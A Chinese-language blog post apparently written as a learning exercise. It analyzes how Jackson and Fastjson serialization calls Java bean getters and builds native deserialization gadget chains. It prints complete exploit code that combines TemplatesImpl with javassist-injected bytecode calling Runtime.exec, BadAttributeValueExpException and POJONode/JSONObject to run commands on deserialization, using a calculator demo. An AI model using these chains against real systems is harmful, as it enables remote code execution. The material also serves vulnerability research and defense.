jackson和fastjson原生序列化

img

jackson

0x01 demo

佬的文章,菜鸟的拿来主义。

链接

https://www.viewofthai.link/2023/08/08/jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A6%E5%8F%91getter%E6%96%B9%E6%B3%95%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%88%86%E6%9E%90/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.jsonser;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class jacksonTest {
public static class Message {
int code;
String detail;
Object data;

public Message() {
}

public void setCode(int code) {
this.code = code;
}

public void setDetail(String detail) {
this.detail = detail;
}

public void setData(Object data) {
this.data = data;
}

public int getCode() {
System.out.println("getCode");
return this.code;
}

public String getDetail() {
System.out.println("getDetail");
return this.detail;
}

public Object getData() {
System.out.println(this);
return this.data;
}

public Message(int code, String detail) {
this.code = code;
this.detail = detail;
}

public Message(int code, String detail, Object data) {
this.code = code;
this.detail = detail;
this.data = data;
}
}
public static void main(String[] args) throws JsonProcessingException {

Message message = new Message();
message.setCode(114514);
message.setDetail("thai want to test jackson");

ObjectMapper objectMapper = new ObjectMapper();
String s = objectMapper.writeValueAsString(message);


System.out.println("jackon string: " + s);

}
}

image-20240113033842334

可以看见Jackson在序列化,会调用javaBean的所有getter方法。

0x02. 人心浮躁,本人只学剑招,瞎分析

打一个断点

image-20240113034938265

1
2
3
4
5
6
7
8
9
10
11
12
13
getData:38, jacksonTest$Message (com.jsonser)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
main:60, jacksonTest (com.jsonser)

DefaultSerializerProvider#serializeValue

image-20240113040440387

image-20240113040501753

通过findTypedValueSerializer来从缓存中获取序列化器得到BeanSerializer。然后进行序列化

然后来到BeanSerializer#serialize

image-20240113041018608

1
BeanSerializerBase#serializeFields

image-20240113041420589

Bean类中的所有属性值的写入

image-20240113041821522

最后是能够调用对应属性值的getter方法进行赋值。

0x03 构造链子

通过上面分析,控制BeanSerializer,就可以对Bean类中的所有属性值进行getter。

writeValueAsString是jackson的反序列化入口。

所以找一个能触发writeValueAsString的就行。

com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString

image-20240113042939146

com.fasterxml.jackson.databind.node.BaseJsonNode#toString

image-20240113043101253

所以要早一个可以序列化,然后触发BaseJsonNode#toString()。

网上的找到一个

1
com.fasterxml.jackson.databind.node#POJONode

image-20240113043546441

可以他继承ValueNode,image-20240113043613018

1
ValueNode继承BaseJsonNode

POJONode,ValueNode,都没有tostring()方法,所以POJONode.tostring会触发BaseJsonNode.tostring()

最后完成序列化触发getter。

1
POJONode#toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString

0x04 exp

在写入序列化时会进行判断是否实现了writeReplace方法

image-20240113044413128

OJONode的父类BaseJsonNode中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断

我们可以通过删除这个方法来跳过这个过程,进而成功的序列化。

image-20240113044543157

所以使用javassist删除就好

1
2
3
4
5
6
7
ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
ClassPool aDefault = ClassPool.getDefault();

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package com.jsonser;

import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.management.remote.rmi.RMIServer;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.sql.DatabaseMetaData;
import java.util.ArrayList;
import java.util.HashMap;


public class jackson {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static void main(String[] args) throws Exception{

// jdbcRowSet.getDatabaseMetaData();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "xx");
setFieldValue(templates, "_class", null);

try {

ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
ClassPool aDefault = ClassPool.getDefault();
CtClass ctClass = aDefault.get("com.sun.rowset.JdbcRowSetImpl");
// for (CtMethod declaredMethod : ctClass.getDeclaredMethods()) {
// String methodname = declaredMethod.getName();
// if ((methodname.startsWith("get"))){
// if (!(methodname.equals("getDatabaseMetaData"))){
// CtMethod rmmethod = ctClass.getDeclaredMethod(methodname);
// ctClass.removeMethod(rmmethod);
// }
// }
// }
// ctClass.toClass(classLoader,null);
} catch (Exception e) {
}
// JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
// jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/remoteExploit8");
// POJONode node = new POJONode(jdbcRowSet);

JSONObject jsonObject = new JSONObject();
jsonObject.put("1",templates);


BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val,"val",jsonObject);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(templates,val);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./jackson"));
outputStream.writeObject(hashMap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./jackson"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

fastjson

0x01 demo偷学剑招

没实力直接抄代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package com.jsonser;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class jacksonTest {
public static class Message {
int code;
String detail;
Object data;

public Message() {
}

public void setCode(int code) {
this.code = code;
}

public void setDetail(String detail) {
this.detail = detail;
}

public void setData(Object data) {
this.data = data;
}

public int getCode() {
System.out.println("getCode");
return this.code;
}

public String getDetail() {
System.out.println("getDetail");
return this.detail;
}

public Object getData() {
System.out.println(this);
return this.data;
}

public Message(int code, String detail) {
this.code = code;
this.detail = detail;
}

public Message(int code, String detail, Object data) {
this.code = code;
this.detail = detail;
this.data = data;
}
}
public static void main(String[] args) throws JsonProcessingException {

Message message = new Message();
message.setCode(114514);
message.setDetail("thai want to test jackson");

// ObjectMapper objectMapper = new ObjectMapper();
// String s = objectMapper.writeValueAsString(message);

com.alibaba.fastjson.JSONArray.toJSON(message);


// System.out.println("jackon string: " + s);

}
}

image-20240113213730812

在序列化,会调用javaBean的所有getter方法。

0x02 fastjson剑招瞎分析

jsonobject,jsonarray分析

image-20240113213919079

1
2
3
4
5
6
7
8
9
10
11
getData:40, jacksonTest$Message (com.jsonser)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:544, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:153, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:797, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:1106, JSON (com.alibaba.fastjson)
toJSON:1012, JSON (com.alibaba.fastjson)
main:64, jacksonTest (com.jsonser)

com/alibaba/fastjson/JSON.java#toJSON()

image-20240113214817756

com/alibaba/fastjson/serializer/JavaBeanSerializer.java#getFieldValuesMap()

image-20240113214317673

image-20240113215040174

com/alibaba/fastjson/serializer/FieldSerializer.java#getPropertyValue

image-20240113215230955

com/alibaba/fastjson/util/FieldInfo.java#get()

image-20240113215539479

最后对里面的所有javabean属性值invoke。

json 调用(看不懂,贴流程吧)

1
2
3
4
5
6
7
getData:40, jacksonTest$Message (com.jsonser)
write:-1, ASMSerializer_1_Message (com.alibaba.fastjson.serializer)
write:285, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:758, JSON (com.alibaba.fastjson)
toJSONString:696, JSON (com.alibaba.fastjson)
toJSONString:661, JSON (com.alibaba.fastjson)
main:64, jacksonTest (com.jsonser)

Json.toString()细节分析

com/alibaba/fastjson/JSON.java#toJSONString()

image-20240114013846724

image-20240114013851659

对out,config赋值。

image-20240114013930510

然后调用write处理传入的object

com/alibaba/fastjson/serializer/JSONSerializer.java#write()

image-20240114023637460

image-20240114025044834

进过一系列操作创建createJavaBeanSerializer

image-20240114025145400

com/alibaba/fastjson/serializer/SerializeConfig.java#createJavaBeanSerializer()

image-20240114025509056

从class获取所有bean属性值,然后传入createJavaBeanSerializer(beanInfo)

com/alibaba/fastjson/serializer/SerializeConfig.java#createJavaBeanSerializer(beanInfo)

image-20240114025943928

然后得到bean中field,bean中的method

image-20240114030745435

自后调用createASMSerializer(beanInfo)

com/alibaba/fastjson/serializer/SerializeConfig.java#createASMSerializer(SerializeBeanInfo beanInfo)

image-20240114031455047

调用

com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo)

image-20240114033041907

然后获取对象getters

后面看不懂,总结就是序列化会调用对象中的所有getters。

0x03 构造

只要找一个可以ser的类里面触发toJSONString就可以。

image-20240114034001775

image-20240114033937897

下面两个都继承Json,没有toString方法,所以调用两个类的toString,就回触发Json的toString,进而触发toJSONString。

image-20240114033713273

image-20240114033742693

0x04 exp

找一个readObject触发toString方法。然后把触发对象改为JSONObject或者JSONArray就行

cc5的前半就满足这个条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.jsonser;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class fastjson {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cmd = pool.makeClass("cmd");
cmd.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String Command ="java.lang.Runtime.getRuntime().exec(\"open .\");";
cmd.makeClassInitializer().insertBefore(Command);
cmd.toClass();
// CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, cmd);
// ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");");
// cmd.addConstructor(ctConstructor);
byte[][] bytes = new byte[][]{cmd.toBytecode()};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "123");

// JSONArray objects = new JSONArray();
// objects.add(templates);
JSONObject jsonObject = new JSONObject();
jsonObject.put("1",templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val,"val",jsonObject);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(templates,val);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(hashMap);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
ois.readObject();
}
}

剑招学习完毕。脑子不够用,驻场了。。。

偷学剑招(佬文链接)

https://xz.aliyun.com/t/12509

https://xz.aliyun.com/t/12755

https://www.viewofthai.link/2023/08/08/jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A6%E5%8F%91getter%E6%96%B9%E6%B3%95%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%88%86%E6%9E%90/

http://www.bmth666.cn/2022/03/11/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRome%E9%93%BE/

https://su18.org/post/ysoserial-su18-5/#objectbean

https://tttang.com/archive/1701/#toc_beancomparator


jackson和fastjson原生序列化
https://unam4.github.io/2024/01/13/jackson和fastjson原生序列化/
作者
unam4
发布于
2024年1月13日
许可协议